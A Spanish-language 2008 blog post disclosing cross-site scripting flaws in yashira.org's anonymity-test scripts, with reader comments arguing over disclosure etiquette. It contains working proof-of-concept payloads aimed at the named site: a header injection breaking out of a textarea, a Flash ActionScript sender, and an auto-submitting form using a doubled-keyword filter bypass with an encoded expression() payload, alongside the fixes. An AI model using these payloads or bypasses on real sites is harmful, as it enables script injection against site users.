Contenido principal

XSS en Yashira.org

Agosto 9, 2008

Actualización : Más abajo

Está vulnerabilidad es muy simple y común, y la podemos encontrar en la mayoría de sitios donde proporcionan información sobre las cabeceras de nuestro navegador.
Este era el caso del script Mi_judge.pl que se encuentra en la carpeta /cgi-bin/ del servidor web de www.yashira.org, el cual hace un Test de anonimato que está basado en las cabeceras de nuestro navegador. La vulnerabilidad radicaba en que el script no filtraba correctamente las cabeceras, en especial la cabecera "X_Forwarded_for", que es una de las cabeceras utilizadas por los servidores proxy de bajo perfil para redireccionar el contenido que recibe de una aplicación web al usuario que está usando el servidor proxy.
En aplicaciones hechas en PHP, el siguiente sería el código a utilizar para capturar la cabecera x_forwarded_for que envia nuestro navegador:

if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
  echo $_SERVER['HTTP_X_FORWARDED_FOR'];
}

Pero dicho código es vulnerable a inyección html, así que solo basta de una línea para corregir el fallo:

if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
  echo htmlentities($_SERVER['HTTP_X_FORWARDED_FOR']);
}

Al igual que el script mi_judge.pl, bastaba de una línea para corregir el fallo.

Ahora veamos cual era la salida HTML del script vulnerable, y de como podemos aprovechar el fallo para mostrar un mensaje cualquiera. Así que ingresamos al script vulnerable y retorna el siguiente contenido:

//Etiqueta HTML, HEAD, BODY
<textarea name="miresultado"><maximo>
<HR>
...
HTTP_X_FORWARDED_FOR=</b>hola
...
</textarea>

En el código, modifique el x_forwarded_for por "hola", y apareció en el código fuente del script.
Luego el textarea interpreta todo su contenido como texto, entonces para poder escribir código HTML debemos nosotros mismos cerrar la etiqueta y luego escribir el contenido que queremos que se muestre.
Para esto usamos la extensión "Modify headers", una extensión que permite agregar, modificar y filtrar cabeceras enviadas por nuestro navegador. Así que la podemos descargar de acá: Modify Headers

Para que la vulnerabilidad pueda ser probada, debemos enviar vía x_forwarded_for el siguiente código:

x_forwarded_for=</textarea><script>alert(1);</script>

Y la página al imprimir el x_forwarded_for que enviamos, imprime lo siguiente:

//Etiqueta HTML, HEAD, BODY
<textarea name="miresultado"><maximo>
<HR>
...
HTTP_X_FORWARDED_FOR=</b></textarea><script>alert(1);</script>
...

Se cierra la etiqueta Textarea y el navegador interpreta el contenido como si fuera un script.

Pero ahora, viene la parte mas interesante. ¿Cómo podemos explotar la vulnerabilidad si los script en PHP no permiten enviar cabeceras del navegador, y no conocemos otro medio para hacerlo?. Si buscamos un poco, la respuesta es muy simple pero a la vez complicada cuando no se conoce del tema, y mas cuando no sabemos cual es el alcance de los medios que tenemos. La respuesta se haya en la programación con ActionScript.
Creamos una animación con Macromedia Flash, y en el primer frame podemos colocar el siguiente código:

// [Action in Frame 1]
xss = new LoadVars();
xss.addRequestHeader("x_forwarded_for", "</textarea><script>alert(1);</script>");
xss.send("http://www.yashira.org/cgi-bin/Mi_judge.pl", "_blank", "POST");

Lo que hace el script es asignar a la variable xss la clase LoadVars, luego agrega la cabecera x_forwarded_for, y por medio del método POST envia la cabecera al script vulnerable.

Y de regalo acá está el código vulnerable:

while( ( $szName, $szValue ) = each %ENV ) {
  next if( $szName !~ /^HTTP_/ );
  $szValue =~ s/\t/ /g;
  push( @aszValues, "$szName=\t$szValue \t$szName=\t$szValue");
}

Y para arreglarlo solo debemos como en el caso del PHP agregar una entidad html, de esta forma:

use HTML::Entities;
while( ( $szName, $szValue ) = each %ENV ) {
  next if( $szName !~ /^HTTP_/ );
  $szValue =~ s/\t/ /g;
  $szValue = encode_entities($szValue);
  push( @aszValues, "$szName=\t$szValue \t$szName=\t$szValue");
}

Es todo por hoy, acá pueden ver el video de cuando hice la prueba de concepto:

Actualización
De nuevo se ha descubierto una vulnerabilidad en el sistema de "Test de anonimato" de Yashira.org.
El fallo radica en el script "index.php", el cual al recibir los parámetros que son enviados vía POST por el script "Mi_judge.pl" no filtra bien el contenido.

Primeramente se había usado el atributo "style" de está forma:

<STRONG style:"color:expression(XSS);"></STRONG>

Pero modificaron el script haciendo imposible hacer lo antes dicho. Dicha modificación solo reemplazaba la cadena "style" una sola vez, así que si hacemos "stystylele", reemplaza el "style" por una cadena nula, y luego las dos otras partes se unen quedando magicamente el atributo "style".

El siguiente es el código usado para explotar la vulnerabilidad con éxito:

<html>
<head>
<title lang="en">Test De Anonimato Yashira</title>
</head>
<body bgcolor="#000000" text="#ffffff" onload=document.testAnonimato.submit()>
<form name=testAnonimato action="http://www.yashira.org/index.php" method=post target="_top" >
<textarea size=0 name=miresultado>
<STRONG ststyleyle="color:expression(document.write(String.fromCharCode(60,98,111,100,121,32,98,103,99,111,108,111,114,61,34,35,48,48,48,48,48,48,34,32,116,101,120,116,61,34,35,102,102,102,102,102,102,34,62,60,104,49,62,80,114,117,101,98,97,32,88,83,83,60,47,104,49,62,60,47,98,111,100,121,62)));">SPILL</STRONG>
</Textarea>
<input name="mode" type=hidden value=Anonimato>
<input name="sid" type=hidden value="">
</form>
</body>
</html>

El código que está en ascii, es solo este código:

<body bgcolor="#000000" text="#ffffff">
<h1>Prueba XSS</h1>
</body>

Y es usado para ver si se explota correctamente la vulnerabilidad.
Acá el video donde muestro la prueba de concepto:

La canción de fondo a quien le interese se llama: Clubbed to death de Rob D
Espero que todo quede en buen acuerdo, porque ahora se pelea por nada, solo es una forma de mostrar que tan vulnerable puede ser una página.

Archivado en: Hacking |

6 comentarios

  1. Sr.Deep Agosto 10, 2008 @ 10:22 pm

    (Y)good job, man..!

  2. beford Agosto 11, 2008 @ 1:13 pm

    cuidado! te van a subir a 99% la advertencia en yashira, aparentemente la politica de seguridad de ellos es 'que nadie sepa que tenemos bugs!'

  3. g30rg3_x Agosto 12, 2008 @ 7:54 pm

    Existen formalidades a la hora de publicar o dar a conocer vulnerabilidades que veo que desconoces o mas bien das para largo...
    Y por lo que veo en tus anteriores descubrimientos que este comportamiento no es para nada nuevo, esta bien que intentes ganar visitas o fama con este descubrimiento (nadie te lo puede quitar o de meritar) pero al menos ten la delicadeza o bien la madurez para avisarnos sobre el fallo.

    No creo que te guste que te hagan lo mismo no?

    Y con respecto a la vulnerabilidad, que mas te puedo decir el script desde el 2004 no se actualizaba y el fix que dices realmente no fue un fix, realmente no le modifique nada solo le active algunos filtros que ya tenia codificadas esperando que eso lo solucione (mientras encontraba tiempo para verlo), pero veo que presionaste de nuevo y se tuvo que desactivar.
    Por suerte no encontraste un bug de mayor amplitud que se encontraba también ahí mismo, pero claro te agradecemos el hallazgo y esperamos que la próxima sigas los canales de difusión del fallo correctos.

    Saludos

  4. Sysroot Agosto 12, 2008 @ 8:44 pm

    No intento ni ganar fama ni visitas, solo trato de dar a conocer donde y como se pueden localizar algunas vulnerabilidades en aplicaciones web.
    Publique acá luego de avisarte sobre el fallo.

  5. g30rg3_x Agosto 12, 2008 @ 9:12 pm

    Sorry crei que esta web era de beford... uno de los que mas activamente se encontro explotando la vulnerabilidad junto con otros (al parecer).

    Por eso es que a beford se le dio una advertencia la cual después de analizar sus intentos se le fue retirada.

    Saludos HaDeS.

  6. Sysroot Agosto 12, 2008 @ 11:53 pm

    Y a mi si me la dejaste. jum, ni me hables x'D

Deja un comentario